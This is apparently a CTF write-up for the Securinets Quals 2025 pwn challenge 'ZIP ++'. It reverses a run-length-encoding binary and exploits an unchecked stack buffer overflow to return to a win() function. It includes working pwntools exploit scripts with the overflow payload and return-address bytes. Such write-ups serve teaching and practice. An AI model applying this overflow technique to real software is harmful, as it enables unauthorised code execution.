> For the complete documentation index, see [llms.txt](https://youssefsahnoun.gitbook.io/youssefsahnoun/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://youssefsahnoun.gitbook.io/youssefsahnoun/ctf-writeups/securinets-quals-2025/pwn.md).

# PWN

## ZIP ++

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FSxJ1kmXGvxievzXoKK4E%2Fimage_2025-10-09_145111419.png?alt=media&amp;token=164e5b91-9557-4f1c-9461-a13815ae0b51" alt=""><figcaption></figcaption></figure>

We have a binary named main.

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FrRKQ0eSDeJbrFoj8Bc6r%2Fimage_2025-10-09_145511086.png?alt=media&amp;token=8f780421-18e6-4c48-9a15-9f81da2cf267" alt=""><figcaption></figcaption></figure>

No PIE which means addresses are constant not dynamic + No canary which means stack buffer overflow is possible without any leaks needed.

### Manual testing:

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FSzPcrL2oYtEOliiRSwT9%2Fimage_2025-10-09_151311797.png?alt=media&amp;token=9b0ea816-2757-4336-a72f-fbf4af143644" alt=""><figcaption></figcaption></figure>

The binary compresses data and returns it, compressing logic is based on occurrences for example:

aa --> 6102 (a=0x61)

aabb --> 61026202

This is known as **run-length encoder (RLE).**

### GHIDRA Reversing:

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FgBZavymVDL8klvqROQTW%2Fimage_2025-10-09_145920603.png?alt=media&amp;token=f43a40db-268d-4658-b7b6-19e0cdf20bff" alt=""><figcaption></figcaption></figure>

Functions : main + vuln + compress + win.

#### Main function:

```c
undefined8 main(void)

{
  setup();
  vuln();
  puts("bye");
  return 0;
}

```

#### Vuln function:

```c
undefined8 vuln(void)

{
  int iVar1;
  ssize_t sVar2;
  long lVar3;
  undefined8 *puVar4;
  undefined8 local_618 [96];
  undefined8 local_318 [96];
  int local_14;
  undefined4 local_10;
  int local_c;
  
  puVar4 = local_318;
  for (lVar3 = 0x60; lVar3 != 0; lVar3 = lVar3 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + 1;
  }
  puVar4 = local_618;
  for (lVar3 = 0x60; lVar3 != 0; lVar3 = lVar3 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + 1;
  }
  while( true ) {
    puts("data to compress : ");
    sVar2 = read(0,local_618,0x300);
    local_10 = (undefined4)sVar2;
    iVar1 = strncmp((char *)local_618,"exit",4);
    if (iVar1 == 0) break;
    local_14 = compress(local_618,local_10,local_318);
    printf("compressed data  : ");
    for (local_c = 0; local_c < local_14; local_c = local_c + 1) {
      printf("%02X",(ulong)*(byte *)((long)local_318 + (long)local_c));
    }
    puts("");
  }
  return 0;
}
```

The first two loops initialize the buffers with 0.

While loop reads up to 0x300 (768 bytes) of data into local\_618. If data starts with 'exit'  it breaks otherwise it compresses the data into local\_318 which is also is a 768 bytes buffer. and finally prints the compressed data.

#### Compress function:

```c
int compress(char *param_1,int param_2,long param_3)

{
  char local_15;
  int local_14;
  int local_10;
  int local_c;
  
  local_15 = *param_1;
  local_14 = 1;
  local_c = 1;
  local_10 = 0;
  while (local_c < param_2) {
    for (; ((local_14 < 0xff && (local_c < param_2)) && (local_15 == param_1[local_c]));
        local_c = local_c + 1) {
      local_14 = local_14 + 1;
    }
    *(char *)(local_10 + param_3) = local_15;
    *(char *)(param_3 + (long)local_10 + 1) = (char)local_14;
    local_10 = local_10 + 2;
    local_14 = 0;
    local_15 = param_1[local_c];
  }
  return local_10;
}
```

As we initiallly guessed, this is a simple Run Length Encoder.

This function doesn't have output validation which means if the compressed data is more than the allocated size for Local\_318 in Vuln we will have a stack buffer overflow that can enable us to overwrite return addresses.

#### Win function:

```c

void win(void)

{
  system("cat flag.txt");
  return;
}
```

Win function simply reads the flag.

This is a typical Ret2Win challenge: Our goal is to overflow the stack and return to the win function.

### EXPLOIT

Since there is no PIE protection, addresses are constant which means our local Win address is the same as the server's.

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2F18x0Nk7tUEbaXkuXlgwu%2Fimage_2025-10-09_153820065.png?alt=media&amp;token=c354a57c-b830-4f12-b321-1d91df87034c" alt=""><figcaption></figcaption></figure>

Win address = 0x4011a5

Our goal now is to enter some data to compress in a way that triggers a SIGSEGV. Figure out the exact offset that allows us to overflow the return address to point to win().

#### GDB:

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FgsiJBGDSKzWargkjkbH9%2Fimage_2025-10-09_161741677.png?alt=media&amp;token=1dfe0dd4-a08f-4db4-97e1-47efcb7100e3" alt=""><figcaption></figcaption></figure>

We create a cyclic pattern send it and then send 'exit' to leave the while loop and trigger the SIGSEGV.

We can get the offset using pattern search command in GDB.

The value to look for is the RBP value which is = **0x173016a0172016a**  and that is the compression of the sequence : '**jrjs**'

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FG6NNctrYv6Np9aaq7YdO%2Fimage_2025-10-09_162308294.png?alt=media&amp;token=dbcaad60-6bdf-4a74-aebb-e1f04fc7e593" alt=""><figcaption></figcaption></figure>

Now we can take that whole sequence up until we reach 'jrjs' and figure out the exact offset to overwrite the first 2 bytes of the return address to point to 0x4011a5 , or we can take the sequence simplify the pattern to only 1 character sequence. It really doesn't matter as long as we get the result we are looking for.

Using pwntools we can attach gdb to debug our input. We use this script initially:

```python
from pwn import *

binary_path = './main'
win_addr = 0x4011a5

p = process(binary_path)
gdb.attach(p, gdbscript='')
#p = remote('pwn-14caf623.p1.securinets.tn', 9000)

base_payload = b"aabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcyczddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzeefegeheiejekelemeneoepeqereseteuevewexeyezffgfhfifjfkflfmfnfofpfqfrfsftfufvfwfxfyfzgghgigjgkglgmgngogpgqgrgsgtgugvgwgxgygzhhihjhkhlhmhnhohphqhrhshthuhvhwhxhyhziijikiliminioipiqirisitiuiviwixiyizjjkjljmjnjojpjqjrjs"
print(base_payload)

exploit_bytes = b'y'
 
payload = base_payload + exploit_bytes

print(p.recv())

p.send(payload)
print(p.recv())
p.sendline(b'exit')
p.interactive()

```

I tested with a single byte 'y'.

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FJUMTvyq3W4rVb5BaW5YJ%2Fimage_2025-10-09_170008040.png?alt=media&amp;token=7e18bbff-4349-43c3-b9fd-3a4d2da3dda7" alt=""><figcaption></figcaption></figure>

'y' is compressed into 7901 and based on the GDB output you can see that it tried to return to the address **0x400179** which made it crush.

Now since our target address is 0x4011a5 we simply have to provide the byte 'a5' 17 times ( which translates to 0x11) in order to return to win() right?

```python
from pwn import *

binary_path = './main'
win_addr = 0x4011a5

p = process(binary_path)
gdb.attach(p, gdbscript='b vuln\n')
#p = remote('pwn-14caf623.p1.securinets.tn', 9000)

base_payload = b"aabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcyczddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzeefegeheiejekelemeneoepeqereseteuevewexeyezffgfhfifjfkflfmfnfofpfqfrfsftfufvfwfxfyfzgghgigjgkglgmgngogpgqgrgsgtgugvgwgxgygzhhihjhkhlhmhnhohphqhrhshthuhvhwhxhyhziijikiliminioipiqirisitiuiviwixiyizjjkjljmjnjojpjqjrjs"
print(base_payload)

exploit_bytes = b'\xa5'*17
 
payload = base_payload + exploit_bytes

print(p.recv())

p.send(payload)
print(p.recv())
p.sendline(b'exit')
p.interactive()

```

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FPLEbPa7rlzz8HZcwR9aG%2Fimage_2025-10-09_171215102.png?alt=media&amp;token=19470ec3-072d-41be-90dc-b41e603656cb" alt=""><figcaption></figcaption></figure>

It successfully returns to WIN() but fails to print the flag due to stack alignment issues.

We can overcome this by jumping to the next line at 0x4011a6 instead:

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FgJtOI0maNLTEk2RBOOms%2Fimage_2025-10-09_170725490.png?alt=media&amp;token=c3b732e9-e8a3-4937-8c9f-1b53d875d630" alt=""><figcaption></figcaption></figure>

GG!
